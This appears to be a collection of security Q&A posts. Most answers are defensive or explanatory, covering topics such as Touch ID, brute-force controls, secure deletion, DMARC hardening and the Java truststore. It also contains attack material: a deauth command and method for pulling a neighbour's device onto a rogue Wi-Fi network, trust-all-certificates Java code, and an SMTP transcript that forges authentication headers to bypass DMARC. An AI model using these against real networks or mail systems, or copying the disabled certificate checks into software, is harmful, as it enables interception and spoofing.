Yet, when you restart your phone, it requires your passcode instead of your fingerprint. This seems to suggest that it thinks your passcode is more secure than your fingerprint (as you have to use it to "unlock" touch ID). Why was this implemented, from a security point of view? Why do you have to enter your passcode when you restart your device?

The reason for requiring passcode is because the file system encryption key is encrypted using the passcode:

  The content of a file is encrypted with a per-file key, which is wrapped with a class key and stored in a file’s metadata, which is in turn encrypted with the file system key. The class key is protected with the hardware UID and, for some classes, the user’s passcode. (source)

Why can't the file encryption key be stored by the fingerprint processor? Fingerprint cannot be used for for encryption/decryption due to the lossy nature of reading fingerprints.

While with the help of a secure coprocessor like the secure enclave, you can make fingerprint be usable for quick unlock mechanism, the security of such quick unlock depends on the coprocessor being able to discard the encryption key if the user/attacker entered the wrong fingerprint too many times. TouchID for example require entering regular passcode after five failed finger recognition.

If the system use only fingerprint unlock, that means that the coprocessor cannot ever discard the encryption key as that would permanently lock out the device, effectively opening up a trivial denial-of-service attack on the device.


Is it possible to push a device from a private WiFi in order to decoy it to a public WiFi? Regarding How to force clients to connect to WiFi automatically? and this situation:

my neighbour is connected to his private Wi-Fi
I have a Pineapple Nano broadcasting public SSID's (McDonald, Starbuck, etc, but NOT his WPA protected WiFi)

As part of my OpSec audit, is it possible for me to de-auth his device from his Wi-Fi and decoy it to connect to my public Wi-Fi network? Will it prefer my public WiFi or his own private one?

By placing your Wi-Fi interface which supports packet injection into monitor mode, you will be able to issue deauth (deauthentication) packets.

Deauth packets can be crafted via the Aircrack-ng suite. This can be done by the following:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D wlan0

which instructs interface wlan0 to send one deauth packet for the following AP and client, as instructed with the MAC addresses.

With this in mind. Different OSs respond differently to disconnecting from a Wi-Fi network. Some may automatically reconnect to the last network, while others may automatically connect to a recognised network based on signal strength. If the signal strength is the scenario, then this became very simple. The signal strength of your Pineapple Nano must be greater than that of the Wi-Fi AP. The signal strength is based on where the client (the neighbour's laptop) is situated. Merely having the Pineapple Nano closer to the client will cause it to reconnect to the Pineapple Nano's public (rogue) network instead of the private Wi-Fi AP.

Such that, if the client's signal strength for the Pineapple Nano is greater than the Wi-Fi AP, then the client will connect to the rogue network, else the attack failed.


Cybersecurity Server Stack references I hear a lot of best practices saying that you should have 2 vSphere server stacks:

One for Production
One for Cybersecurity

For example, your enterprise might have a vSphere environment stack that has all your core services (Exchange, DCs, Sharepoint, etc...) run by your system administrators and your Cybersecurity vSphere server stack would have all your security servers that host the security tools (IDS/IPS, Antivirus, vulnerability scanner, etc.), which would be ran by your dedicated cybersecurity team

Are there any good framework references or security controls that mention why one should build the separated security vSphere environment? NIST, COBIT, ITIL, SANS documentation, or anything? I am having problems finding references of why my organization should do this.

I think you could just use the security concept of least privilege to drive these concepts. For example, I would imagine you would not want your Sharepoint admins to have access to the DC's running on the same box. The other design problem for combining multiple services on a single host is if say an Exchange exploit takes the host down then you lose all of the other services that you have on that host as well.


Login attempt password logging and obfuscation I have a third party app that records the password from every login attempt (regardless of success or failure). Is this a standard operation and does it really serve any meaningful security purpose? Not in a special honeypot scenario, but a standard business application.

Also, this implementation seems like a totally insecure obfuscation... is there a standard approach that would produce this output?

552A26043B56E619 - computer
752A26043B56E619 - Computer
5E2A3E072B - house
7E2A3E072B - House

I can't see any security claims to the application to store the clients inputs. Also, the "ciphertext" seems to be reversible (instead of a hash). It's a bad practice.


Networking books for programmers I have some programming experience, mostly in web apps, based on pre-existing frameworks. That is, all the networking side of things are handled already, and no knowledge of them is necessary.

I would like to learn more about programming for networking, and networking security. I'm interested in penetration testing, and I've been reading material on that, but most of it seems fairly shallow, and focused on specific exploits and defense of those attacks. I'd like to go deeper, and look at how networks work, and networking theory. Are there any good books that cover those topics, aimed at and audience with experience like mine, preferably with exercises (like implementing sockets etc.)?

To understand the basics of networking you have 2 options ...

TCP\IP protocol suit -Frouzan

Internetworking with TCP\IP vol-1

https://www.cs.purdue.edu/homes/dec/netbooks.html

both books are theoretically  oriented with simple algorithms to explain (personally i prefer the first one ).

to understand networking from programer's perspective you should check :

Internetworking with TCP\IP vol-2

it explains how TCP\IP stack implemented in an operating system called Minix (Unix based)

Internetworking with TCP\IP vol-3 " BSD sockets version"

Internetworking with TCP\IP vol-3 "Windows sockets version"

Both books covers server-client application implementation.

And finally those two books are good too .

http://www.amazon.com/Unix-Network-Programming-Volume-Networking/dp/0131411551/ref=pd_sim_b_1

http://www.amazon.com/UNIX-Network-Programming-Volume-Communications/dp/0130810819/ref=pd_sim_b_4

Hopefully it will help you ..


Is a file shredder/secure erase necessary when you have full disk encryption turned on? The password manager that I use has instructions to migrate to a new file format:

Export existing passwords to a temporary text file
Change password manager to new format
Import passwords from temporary text file
Securely erase the temporary text file

My hard drive is an SSD (solid state drive), which has it's own issues when it comes to securely deleting files (see https://serverfault.com/questions/199672/secure-delete-on-ssd)

Given that I also have full disk encryption turned on, is it safe to just delete the text file normally?

Is there a more secure way to do this (use a RAM disk, export to USB stick then destroy USB stick after the data has been imported?)

I would still recommend using secure delete in your scenario. Should your machine be compromised when you are logged in (malware etc), full disk encryption will not protect you from a undelete operation via C&C malware for example.

SSDs have problems erasing files but a number of manufacturers provide utilities for their drives to securely erase a file and while not always perfect has been reviewed to perform well. Furthermore, if your drive supports TRIM, normal Windows 7+ delete should also function fine when the recycle bin is cleaned. This post helped me understand a lot more last year, hope it helps you: https://raywoodcockslatest.wordpress.com/2014/04/21/ssd-secure-erase/

As for a more secure way to delete the password file, sure there are plenty of other creative ways but that all depends on your appetite for pain.

Damn good question, thank you for that!


What are the practical uses of large asymmetric keys? The Windows CNG supports keys of varying sizes, e.g. RSA up to 16384 bits: http://msdn.microsoft.com/en-us/library/windows/desktop/bb204778(v=vs.85).aspx.

My understanding is that in crypto today we tend to top out at 4096 for most things because of the cost of processing and what not.

My question: what are the practical uses of large keys, e.g. 8192 - 16384, right now, if any?

For security, there is no need to go beyond 2048 bits for RSA, which is already quite some overkill. 1024 bits are already at the threshold of the feasible. We go to 2048 instead of, say, 1400 bits, because we just love powers of 2. See this site for estimates of "strength" that various organizations have come up with. Summary: RSA-2048 is quite safe for the time being, and when it ceases to be safe, it will be due to technology that does not work like technology we know today.

In the not-near future, quantum computers, if they work at all, will break all RSA keys, regardless of their length. Classical computers, on the other hand, are likely to never be able to break 2048-bit RSA because of the involved energy consumption. That is, unless some half-mad mathematician discovers a killer algorithm for integer factorization, which is, as always, an unpredictable event.

Bigger keys are largely used to appease the paranoia and flatter the ego of people who are in position to decide about technical details but lack the actual competence to do so. Big keys imply obvious network and computational overhead (a 4096-bit key will produce signatures which are twice bigger than 2048-bit RSA signatures, and it will cost about eight times as much CPU), but also interoperability issues: 2048 bits work everywhere, 4096 bits are more restrictive, and bigger keys are not widely supported yet. Thus, there are real, factual, measurable disadvantages to big keys, while the security gain can be qualified as, at best, esoteric: bigger keys are stronger only in the face of unknown technology or science, about which we can only speculate wildly.


How to an "emulate" man in the middle attack for SSL and TLS? I need to compare TLS and SSL for an essay and I thought a good way to do this would be to emulate a Man in the Middle attack, however I have no clue how to do it.

That doesn't make much sense. You are asking a XY problem.

First of all. TLS is a just a new set of the SSL specification:

TLS 1.0 would be SSL 3.1
TLS 1.1 would be SSL 3.2
TLS 1.2 would be SSL 3.3

The name change was due to politics, and has a lot of confusion since (eg. users enabling only SSL 3, thinking it's the latest version, while it's te oldest).

So you first need to decide what to compare. SSL 3 vs TLS 1.0? Against TLS 1.2?

You would probably concentrate in the differences SSL 3.0 vs TLS 1.0, and then you could also state some improvements of the newer TLS versions if you wish.


Can PHP crash and expose source code? I am running NGINX and PHP fast CGI. I have a simple PHP website witch has some credentials hardcoded inside the source code.

Will nginx serve the actual source code of the website instead of the interpreted version should the php-fpm process crash?

Is this scenario possible?

Possible, yes. Though far more likely, as others have noted, is a misconfiguration, causing requests to not be sent to the interpreter and revealing source code.

A common mitigation to this is moving sensitive files, like a configuration file containing database credentials, to outside of document root. MVC frameworks encourage this by using a front controller. That is, the only source code exposed to document root is a tiny index.php file. The rest of the source code is read from outside of document root. This minimizes the impact of the interpreter being misconfigured.


Can a website detect malware or virus present on device / PC? I just got off the phone with an investment firm where I have an account.  About a month ago, they blocked online access to my account due to "malware or a virus" found on my PC or device.  Since we had been overseas for most of that month, and according to their logs the time when the "virus or malware" was discovered was roughly 1pm on March 29th (and we were already out of the country), that means that the number of devices we could have logged on with is reduced down to only 4 (two Android phones, an Android table, and an iPad).  The time stamp would have been roughly 1am the following day in the country we were visiting, about 1-2 days after we arrived. After talking with the customer service manager for some length of time, there has been no activity in my account, other than payroll deposits as expected, so I don't think anything untoward has occurred.

They refused to grant me access to my account until I'd had my devices / PC "professionally cleaned".  I have no idea how they'd be able to know I'd done this, besides I'm a computer professional, and I'm reasonably certain none of my devices are infected with anything.  Once I've done this, they will change passwords and usernames, etc. to allow me access to the account.

What I suspect actually happened was me trying unsuccessfully to log onto the account from my tablet (I vaguely remember something like this happening right after we got there, but didn't think much of it).  I probably tried too many times and the account got blocked.  Since I was trying from an out of the US IP address, this made it suspicious.  That's my guess.

My actual question is, is it possible for a given website to be able to detect that the log on attempt is occurring from a device that has a virus or malware on it?  I don't believe it's possible for them to sniff my devices, but I figured you guys would know better than me.

It is unlikely, but that also depends on what they might classify as a virus/malware. To answer this, one needs to consider what types of access a website has to a client that is visiting it.
JavaScript can be used to probe a bit about the system:

Your coarse location
Installed extensions
Device info
Information about services on your local machine or network (port scanning)

Most of these aren't very likely to provide indication of any malicious software being present. It is more likely that they detected a suspicious login attempt from a device (maybe the device appeared to be in a different location) and somehow assumed one of yours was compromised. Seems a bit overkill.


Do we need to disable the SSL verification while developing a web scrapping application in Java? I am writing a web scrapping application using core Java. However when the application tried to access some https enabled URLs I am getting error. Below are the details.
Code:
           url = new URL("https://stackoverflow.com");
           is = url.openStream();

Error:
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
    at sun.security.ssl.Alerts.getSSLException(Alerts.java:192)

When I checked on the web it was suggested that one of the fix is to disable the SSL verification as below.
            SSLContext ctx = null;
            TrustManager[] trustAllCerts = new X509TrustManager[]{new X509TrustManager(){
                public X509Certificate[] getAcceptedIssuers(){return null;}
                public void checkClientTrusted(X509Certificate[] certs, String authType){}
                public void checkServerTrusted(X509Certificate[] certs, String authType){}
            }};
            try {
                ctx = SSLContext.getInstance("SSL");
                ctx.init(null, trustAllCerts, new SecureRandom());
            } catch (NoSuchAlgorithmException | KeyManagementException e) {
                e.printStackTrace();
            }

            SSLContext.setDefault(ctx);

After adding is this, the error is resolved and code is able to access any https url. However it was mentioned that this is prone to security issues or man in the middle attack.
I want to know if there is an alternate solution which does not require disabling SSL verification or more secure while the code is able to access any https URL.
Thanks for your help.

Read The Java Developer's guide to SSL Certificates
Your browsers keep a constantly updated list of root certificates from trusted certificate authorities.
Your Java installation also has such a list (referred to as the truststore) but it isn't updated as often (your java truststore will be updated when Java is updated).   If you want the new list faster than that, you need to import the root certificates you want to trust.
List the CA root certificates trusted by your Java truststore to see which ones are missing:
keytool -list -keystore $JAVA_HOME/lib/security/cacerts

(if asked for a password, the default password is "changeit")
to import a missing one, following the directions from the article:

Adding a certificate to the truststore is necessary if we want to
trust a certificate issued from a CA not present in the bundled
truststore.
keytool -import -trustcacerts -file [certificate] -alias [alias] -keystore $JAVA_HOME/lib/security/cacerts

the root certificate file is first downloaded from the site you wish to scrape.


Bypassing OpenDMARC checks by forging Authentication-Results In order to have mail exchanger MX servers to be able to deliver mail to the primary MX, both SPF and DMARC checks needs to be bypassed when the connection is made from a secondary MX. For SPF this is quite straightforward: if the secondary MX performs the SPF check it can be whitelisted.

For DMARC this gets more complicated. OpenDMARC trusts Authentication-Results headers from external DKIM and SPF checks. By default, it will trust Authentication-Results from the same hostname, and any secondary servers would need to be listed here, too. This is not secret information, as it's usually the very same hostname that is advertised in SMTP banner.

##  TrustedAuthservIDs string
##      default HOSTNAME
##
##  Specifies one or more "authserv-id" values to trust as relaying true
##  upstream DKIM and SPF results.  The default is to use the name of
##  the MTA processing the message.  To specify a list, separate each entry
##  with a comma.  The key word "HOSTNAME" will be replaced by the name of
##  the host running the filter as reported by the gethostname(3) function.
#
# TrustedAuthservIDs HOSTNAME

Therefore, OpenDMARC can be easily bypassed by adding a single forged header:

Authentication-Results: <HOSTNAME>;
        dkim=pass (1024-bit key; unprotected) header.d=example.com header.i=@example.com;

My questions: Is there any configuration parameters in OpenDMARC or other methods to mitigate this kind of attacks? Is this solved better in other DMARC implementations?

In this example attack:

The _dmarc.example.com has TXT "v=DMARC1; p=reject; aspf=s; adkim=s;.
OpenDMARC + OpenDKIM are configured as milters in Postfix.
SPF: check_policy_service unix:private/policy-spf
OpenDMARC has default configuration with more strict RejectFailures true.

Knowing the hostname (mx.example.com) and using a working SPF domain for envelope sender it's possible to bypass OpenDMARC completely with no more than:

<-- 220 mx.example.com ESMTP Postfix (Debian/GNU)
--> HELO evil.example.net
<-- 250 mx.example.com
--> MAIL FROM:<someone.from@evil.example.net>
<-- 250 2.1.0 Ok
--> RCPT TO:<user@example.com>
<-- 250 2.1.5 Ok
--> DATA
<-- 354 End data with <CR><LF>.<CR><LF>
--> Authentication-Results: mx.example.com; spf=pass
--> Authentication-Results: mx.example.com;
-->         dkim=pass (1024-bit key; unprotected) header.d=example.com header.i=@example.com;
--> From: <user@example.com>
--> To: <user@example.com>
--> Subject: forged Authentication-Results: mx.example.com;

The MX server supposedly checking all DKIM+SPF+DMARC will hapily queue and append:

Authentication-Results: mx.example.com; spf=pass (mailfrom) smtp.mailfrom=evil.example.net ...
Authentication-Results: mx.example.com; dmarc=pass (p=reject dis=none) header.from=example.com
Received: from smtp.evil.example.net (evil.example.net [198.51.100.80])
    by mx.example.com (Postfix) with SMTP id D4AC64048A
    for <user@example.com>;

The only way to distinguish this from genuine Authentication-Results added by mx.example.com is to manually revise the order of the Receiced headers. I suppose we could see a new wave of "you have been hacked" scams with forged Authentication-Results to cover fake From: <self>.

You need to harden some other parts in your configuration:

OpenDMARC can and should check the SPF independently. /etc/opendmarc.conf for every MX:

SPFIgnoreResults true
SPFSelfValidate true

Remember that the external SPF will pass for every valid envelope sender, leaving the forged header the one matching for the From header first.
Also, the Authentication-Results from a secondary MX could only be trusted if the SMTP connection originates from that server.

When your secondary MX is configured to perform all the checks, it can be excluded:

IgnoreHosts /etc/opendmarc-ignorehosts.conf

...and list the IP addresses for the secondary MX server(s) in that new configuration file.

This allows you to remove the secondary MX form TrustedAuthservIDs, which was the root cause.
OpenDKIM must be configured to add header even when it already exists. /etc/opendkim.conf:

AlwaysAddARHeader yes

Everything works fine when OpenDMARC counts the topmost matching Authentication-Results only.

If this didn't work, there's also a problem in the OpenDMARC implementation: this seems like a known unfixed bug, ticket #223 Able to maliciously pass DMARC check with multiple DKIM signatures:

  Example:

  opendmarc_policy_store_from_domain marketplace.amazon.de
  opendmarc_policy_store_spf example.org PASS
  opendmarc_policy_store_dkim amazon.de FAIL
  opendmarc_policy_store_dkim example.org PASS

  This will incorrectly result in a DMARC pass.

  The root cause is that second call to opendmarc_policy_store_dkim
  doesn't match the exact match, nor a subdomain match and because the
  previous dkim_outcome stored isn't a pass it skips this, passing into
  the set_final label and sets the dkim_outcome result to be pass for
  the previously stored dkim_domain, in this case, amazon.de. Allowing
  it to pass validation.

  As per the docs, opendmarc_policy_store_dkim states: "You may feed
  this function results from multiple DKIM signatures. This function
  will select the most successful check from among those that align with
  the header From: domain."

There's a patch in the comments, but as it's not merged to the source code you can't get it from your favourite distribution, but need to build OpenDMARC on your own.


MAC address of source in RDP session In a forensic analysis I analyzed the event logs of the affected machine and saw various RDP sessions from XYZ IP address. However to prove that the source IP was not spoofed is it possible that I could find the MAC address of the PC from where the RDP session was initiated?

No.

There is no guarantee the other machine has a MAC address at all.

Following the IP over everything principle, the connecting partd may be sitting in a tree using IP over avian carriers - and pidgins do not have MAC addresses.
You may only get a MAC address of an IP in your local network at the time the connection in done, as the mapping can change over time by assigning a new IP to that interface and is only available to your local network. If you want to do this, it's

arp -an

Please keep in mind that:
If the IP address is spoofed, a TCP handshake will fail. No no actual connection can be made.


Does OAuth effectively mean allowing an app to do everything as me? Some OAuth providers (like Google or Facebook) only grant limited privileges to the third party apps, and they state so clearly on the authorization page. For example, they say that an app can see who you are and your friend list, but not post on the wall. And so on.

Not all providers do it, though. With some of them, once a user authorizes the app and the provider issues the token, apparently you can do anything. The consumer can just keep the token and do whatever it likes as that user - for years (as is the case with JIRA) unless explicitly revoked by the user.

Is this correct? How do you deal with this craziness, if an API allows 3rd party apps to fully impersonate you without boundaries?

Relevant piece of docs from Atlassian (for the JIRA example): https://confluence.atlassian.com/display/APPLINKS/Configuring+authentication+for+an+application+link

Yes... if you give it permission to do so.

An OAuth access token has as much power as you give it. Usually, you get asked how much privilege you want to give through that access token at the moment you log in with the OAuth provider. If you decide to give full access to everything then, yes, the application that receives the access token can do anything as if it was you.

It's similar to giving a temporary set of key of your house to a complete stranger that you meet on the road. Still, the saving grace is that it's temporary (usually) and that you can revoke it. In that way, OAuth is still much better than simply giving your username/password to a 3rd party application when you want it to access your information.

OAuth still protects your password and the 3rd party application is nearly always more limited in what it can do with an access token than if it had your real password. This is where OAuth shine and why it was created; giving limited access to your private information for a limited period of time with your consent (and often your ability to revoke that access).

Conclusion

At the end of the day, if you decide to trust malicious application, there is nothing that can save you. BUT, trusting a malicious application via OAuth is much better than giving it your password.


How to protect our server from brute force attack? One of the most common cyber attack is Bruteforce , what are the mechanisms available to protect this attack and how industry apply these mechanisms to mitigate the attacks (best practices)?

Brute force attacks have 2 sides of impact. One is to recover the credentials by serials of password guessing and other one is to create a denial of service (DDoS) by launching massive number of attempts.

There are multiple mechanisms are used by industry on a combination to mitigate the attack as implementing only one control may not be adequate.

Possible mitigation controls could be:

Locking down accounts based on continuous login failures
Creating a pause in the authentication process after multiple login
failures
Blocking IPs – where multiple login attempts initiated for multiple
accounts
Allow high privilege users to login from a particular IP/IPs
Logins attempts with multiple usernames from an IP address
Throttle/block traffic when login attempts to an account form
multiple IPs at a time
Slow down guessing by using device cookies (Reference:
https://www.owasp.org/index.php/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies)
Use a CAPTCHA to prevent automated attacks
Use 2 factor authentication to prevent attack

Now, why it’s important to use combination of controls is to ensure legitimate users are not impacted or prevented from accessing resources.

For example, If we implement only ‘’Account Lockout after multiple failure attempts’’, attackers can simply abuse this control and simply lockout thousands of user accounts by sending series of brute force attempts. As a result, this turns out to be a DDoS and the legitimate users will suffer from accessing their resources.

Hence, it’s always recommended to use combination of above listed controls based on the context of the requirement to prevent impact of Brute force attacks.


How to capture WhatsApp API requests using Fiddler? I am trying to capture WhatsApp network requests and not able to do it using Fiddler.

This is what I did:

Installed Fiddler.
Exported Root certificate and installed on my Android device.
I modified my network proxy in Android device.
It is working fine for HTTP and HTTPS connections, not sure about what WhatsApp API is using.

  I am able to capture and decrypt HTTPS data from other applications like Gmail.

According to the paper "WhatsApp network forensics: Decrypting and understanding
the WhatsApp call signaling messages" from 2015 WhatsApp does not use HTTP(S) but:

  WhatsApp uses the FunXMPP protocol for message exchange
  which is a binary-efficient encoded Extensible
  Messaging and Presence Protocol (XMPP)

Which means that you will not be able to intercept the traffic with Fiddler. Read the paper for more details about the protocols, the encryption used and how you could intercept and decrypt the data.


Is it ok to have GRANT ANY ROLE privilege granted to an Oracle account which is expired & locked? I know it's not considered secure to grant GRANT ANY ROLE privilege to other users apart from admins. But what if the user is expired & locked? In particular, I see these 2 users having this privilege: SPATIAL_CSW_ADMIN_USR and SPATIAL_WFS_ADMIN_USR.

Having such a setup is non-sence, unless this user owns some PL/SQL code. By default in Oracle all the code is invoked with priviledges of the owner. I think you should audit user's stored PL/SQL code to answer your question.

Oracle's security model is not too handy. It is usually everything or nothing. So it is common that such a user (which can theoretically grant DBA role to anybody) ows a stored procedure which contains a white-list of "safe" roles. And this procedure grants these roles when executed. Some other user has right to execute this procedure. So if you want to have some "grained" security you have to implement it by your own.


Hashing Based Encryption Let's say you take a 256 bit key and never use it to encrypt anything.  You receive a message with a 16 character unique randomly generated salt pre-pended.  You salt your key with the 16 character salt and run it through SHA-256 to create the encryption key used for the first block with AES-256.  Afterwards, you take the first hash-resultant key, append the original unused encryption key, hash the result with SHA-256 and create the key used to encrypt the next block.  Each block's encryption key is the previous key appended with the never used encryption key hashed with SHA-256.   Let's say you used this method in CBC mode.  How would it compare to AES-256 used in conventional secret key CBC mode in terms of security and performance?

Also, would this still qualify as block cipher encryption or am I talking about a something that is almost starting to resemble a stream cipher here?

Performance will be many times slower than AES, any perceived security advantage will be minimal.

The additional key transfer and subkey generation for each block could create a timing attack vector, and you are now loading the primary key into memory for every block, vs AES alone which performs a single key expansion, then saves the subkeys in XMM registers (when using hardware acceleration), where it can then be secured from access by other processes.

The method you are describing turns a hash based stream cipher into a KDF to generate keys for each block. This might be acceptable if you are using CTR mode and are trying to prevent something that is nonce reuse resistant, and you then use the new key for each new message, rather than each block.

From a performance perspective, for each block you perform on average, 2 hash iterations, 1 key expansion, and 14 encryption rounds. SHA-256 takes something like 550 clock cycles (can anyone confirm?) per iteration, 14 rounds of AES with key addition takes something like 101 clock cycles, and the key expansion is up to 136 clock cycles. That gives you 1337 clocks vs 101, a 13.2 times performance disadvantage. Additionally because of the way the keys are generated, you can't really take advantage of multiple cores, another maybe 4X disadvantage, although you can use ECB mode since the key is different for each block.

In all, when compared to ECB and CTR mode on a quad core haswell CPU, you will be around 52 times slower, and 13 times slower than CBC.


If and why should any personal information be destroyed before putting scrap paper into the recycle container? Well this question may not be about computers, but it most definitely is about information security, so I'll give it a try...

I've been repeatedly told in my life that I should always carefully check each piece of paper for any piece of personal information it might carry before throwing it away. This includes bank reports, bills, pen&paper notes about other peoples' telephone numbers with their name and surname, and even my old tests from school that contain my name and surname and the oh-so-very-important information that I scored the grade of 4 for being able to simplify three polynomials but failing to simplify the fourth one.

I tried to follow that advice, but the longer I think about it, I'm curious what the exact risks are? Let's break this by case:

a bank report should clearly not be seen by any untrusted individuals;
a telephone numer or an e-mail address can be sold to spammers, but let's face it, they likely have it anyway
I can't imagine how could anyone abuse the information that some no-name scored a 4 in one of their many school tests?

Even more importantly, how would any ill intentioned individual get all of this information? They would either have to search the recycle container or work in the recycling station. I don't know the facts so I cannot judge, but I find it hard to believe that crooks hire bums who walk from street to street searching bins and containers for any piece of personal information they might find? That some ill intentioned peaople might get themselves hired by a recyclicling station for this purpose seems a little bit more probable to me, but then again, don't crooks have a quadrillion of better ways to obtain some personal information they may seek?

What are the risks of throwing a piece of paper with some personal information to a public recycle bin or container without destroying that piece of personal information first and how can this be exploited?

This practice sonuds a bit over the top to me. Sure, I would be careful with leaving my credit card number or email password in the trash. But apart from highly sensitive information like that,  I just would not care.

Emails and phone numbers? There are easier and less smelly ways to harvest them. Bank statements? Might be useful for social engineering, and perhaps something there could be used to impersonate you to the bank in an attempt to take over your account. But again, searching through peoples trash at random doesn't really pass a cost benefit test. Your old school material? Now this is just getting silly...

So unless you are a very attractive target, I'd relax. You might want to brush up your polynomials, though.


Is it possible for malware to be in the BIOS or in hardware? Is it possible for malware to be written in the BIOS section and loaded on every fresh Windows Install? If it is possible, can this affect Linux (Ubuntu and others) operating systems as well?

Yes, the BIOS is software. If it is writeable/flashable, it is possible for the BIOS to be overwritten or modified such that it performs malicious actions. The BIOS boots before the operating system and bootloader, so it is entirely possible for BIOS malware to impact and infect on each boot or on fresh installs.

This is not a windows specific problem. The BIOS provides the lowest level hardware interaction/abstraction and the OS will depend upon this code, so it may be possible to write generic or OS specific malware.

You may be interested in this paper and this presentation.

The MITRE Copernicus tool can be used to do checks for malware in BIOS.


Security Testing Methods for Enterprise Level I have been asked to perform risk assessment for a company. The scope covers about 100 applications and in various business units. Major task is to assess currently implemented security controls and provided recommendations after the assessment. Also provide recommendation around data leakage prevention of source code and other sensitive information.

I am approaching it as an organizational level security risk assessment using framework such as NIST CSF while my colleague is thinking more along the lines of conducting risk assessment of SDLC/agile/devops process risk assessment, which in my opinion is not security risk assessment but a process risk assessment at project level. I have not yet seen any security risk assessment of development methodologies in terms of security.

I want to ask what is the right way to approach this risk assessment?

You can use OpenSAMM or BSIMM frameworks to benchmark your development process in terms of security. After that you can calculate the risks for unimplemented/incomplete security practices to include in your main CSF-based risk assessment.


Application control of HTTP content compression How does an application control whether or not its http content is compressed? I am not talking about TLS level compression, but rather about the compression of https:// response bodies only.

In cases where the response contains both anti-CSRF tokens and user reflected input, I believe such compression can lead to a BREACH compromise. So, then, how do I choose not to compress those responses?

HTTP compression is controlled by the webserver, you configure IIS/Apache/Other as appropriate and this sets the compression header which your browser understands and treats the content as accordingly.

BREACH is a vulnerability in applications that use HTTP compression, reflect some sort of user input and also reflect a secret, such as - as you say - a CSRF token. the attacker then takes advantages of differences in the response sizes to determine secrets. There is a good explanation of BREACH here

Simple mitigations include disabling the compression which or may not be practical depending on your application. As the compression is performed at web server level, determining when to compress in the application may be tricky, a simpler approach is to inject noise the response on pages which are vulnerable. A random string of random length injected into the response is a good countermeasure if you wish to keep compression enabled.


Is this hash function safe? Below is the hash function implementation of the roguewave library. It returns a 32 bit hash. The core operation is A = B ^ ((C << 5) | (C >> 27)). Is this hash safe to use as a password check or is it possible to retrieve all used B's by reversing it?

const unsigned RW_HASH_SHIFT = 5;

inline static void mash(unsigned& hash, unsigned chars)
{
  hash = (chars ^
       ((hash << RW_HASH_SHIFT) |
        (hash >> (RWBITSPERBYTE*sizeof(unsigned) - RW_HASH_SHIFT))));
}

unsigned
RWCStringRef::hash() const
{
  unsigned hv       = (unsigned)length(); // Mix in the string length.
  unsigned i        = length()*sizeof(char)/sizeof(unsigned);
  const unsigned* p = (const unsigned*)data();
  {
    while (i--)
      mash(hv, *p++);           // XOR in the characters.
  }
  // XOR in any remaining characters:
  if ((i = length()*sizeof(char)%sizeof(unsigned)) != 0) {
    unsigned h = 0;
    const char* c = (const char*)p;
    while (i--)
      h = ((h << RWBITSPERBYTE*sizeof(char)) | *c++);
    mash(hv, h);
  }
  return hv;
}

This is extremely unsafe, to the point of being pointless:

Your hash function is not a one-way function. One can instantly (with constant and low runtime) calculate an input producing any given hash if you allow arbitrary 4 character passwords as inputs by undoing the XOR with the initial hash value formed from the password length. With a little ingenuity, it is likely that such a preimage can be very effectively generated even if the input character set is restricted.
Even if your hash function was a cryptographically strong one-way function, it would not be a good password hashing function because it is fast. Ideally, you want a key derivative function that, like PBKDF2 or scrypt, has a configurable work factor allowing you to adjust the difficulty level for your attacker (and the workload for your server) to new conditions over time.
Your hash is so far on the short side that it is hard to call it secure even if everything else were fine. As Andrey pointed out in an older answer, any 32-bit hash can be guessed in (typ.) 0.5 * 2^32 attempts. To not be a security bottleneck, this  number should always be greater than what it would take to guess the password. Yet 32 bits of entropy is so low that a similar number (28 bits) works to illustrate a weak password in the famous xkcd password cartoon.


Does editing a file and saving it permanently overwrite it? Does editing a file and saving it permanently overwrite it? Is this a foolproof method of data destruction? I have a file that I need to fully erase, is this the way? I am running Linux and the file is on a hard drive.

This depends on the specific application. Some applications will only overwrite the individual block or blocks which you have edited. Others will, more often, create a new copy of the file under a new, temporary name, then rename it, deleting the old file. This is no more "secure" than simply deleting the file directly. You would have to have an application specifically designed to overwrite the entire file.

Neither of these techniques will overwrite the entire file. In order to do that, you will need to overwrite each block in-place. This can be done with specialized tools such as shred(1). Note that modern filesystems are complex, and there can still be remnants of data left over. For example, ext4 can keep small files that fit in a single inode in the inode itself. The inode is backed up in the journal, which is not overwritten when the inode is overwritten. Filesystems that support copy-on-write such as btrfs act like SSDs in that a single write to a given block will not necessarily overwrite the original sector on the drive where it is stored. The only real solution to eliminating sensitive information is to keep it encrypted and throw away the key before deletion.

Editing in-place

A file is composed of a large number of sectors, each of a size like 512 bytes. A sector often (but not always) maps to a filesystem block, with a sector being a physical unit of storage from the storage medium hardware, and a filesystem block being a single unit of storage as seen logically by the filesystem driver. A sector write is atomic (in theory), and editing a single byte requires writing to the entire sector it is in (although the disk uses read-modify-write to ensure that other data in the sector is not lost). Editing a file in place will only result in overwriting the sectors which contain the data being modified. Assuming you are using a filesystem that does not do copy-on-write (on Linux, pretty much everything but btrfs and ZFS), this will overwrite only the specific data being edited.

A C implementation which writes a string in-place at the 1234th byte:

void edit(void)
{
    int fd = open("file.txt", O_RDWR);
    pwrite(fd, "Hello, world!", 13, 1234);

    fsync(fd);
    close(fd);
}

Atomic editing

Often, applications will edit files by creating a new file with a temporary name and populating it with the modified contents of the old file. After it has been written (and optionally synced to disk), it is renamed to the original name, resulting in the old file being deleted, but still present on the disk. This is atomic, meaning that either the file is fully edited, or not edited at all. The intention is to ensure a crashed system which only has time to do a partial write will not corrupt the target file. Renaming is (or at least is supposed to be) an atomic operation. That is, it either fully succeeds, or fails, with no in-between.

A C implementation which copies the file and writes a string at the 1234th byte:

void edit(void)
{
    int src_fd = open("file.txt", O_RDONLY);
    int dst_fd = open("file.txt.tmp", O_CREAT|O_RDWR);

    sendfile(dst_fd, src_fd, NULL, -1);
    pwrite(dst_fd, "Hello, world!", 13, 1234);

    fsync(dst_fd);
    rename("file.txt.tmp", "file.txt");

    close(src_fd);
    close(dst_fd);
}

Overwriting in-place

To overwrite an entire file, you need to open the file (without truncating it), and write non-sensitive data to it. The amount of data written should be equal to the original file size, or else it will be unnecessarily appended to. Note that this only works assuming the filesystem does not have any tricks up its sleeve that result in there being data remnants lying around.

A C implementation which overwrites an entire file with random data:

void overwrite(void)
{
    struct stat sb;

    int src_fd = open("/dev/urandom", O_RDONLY);
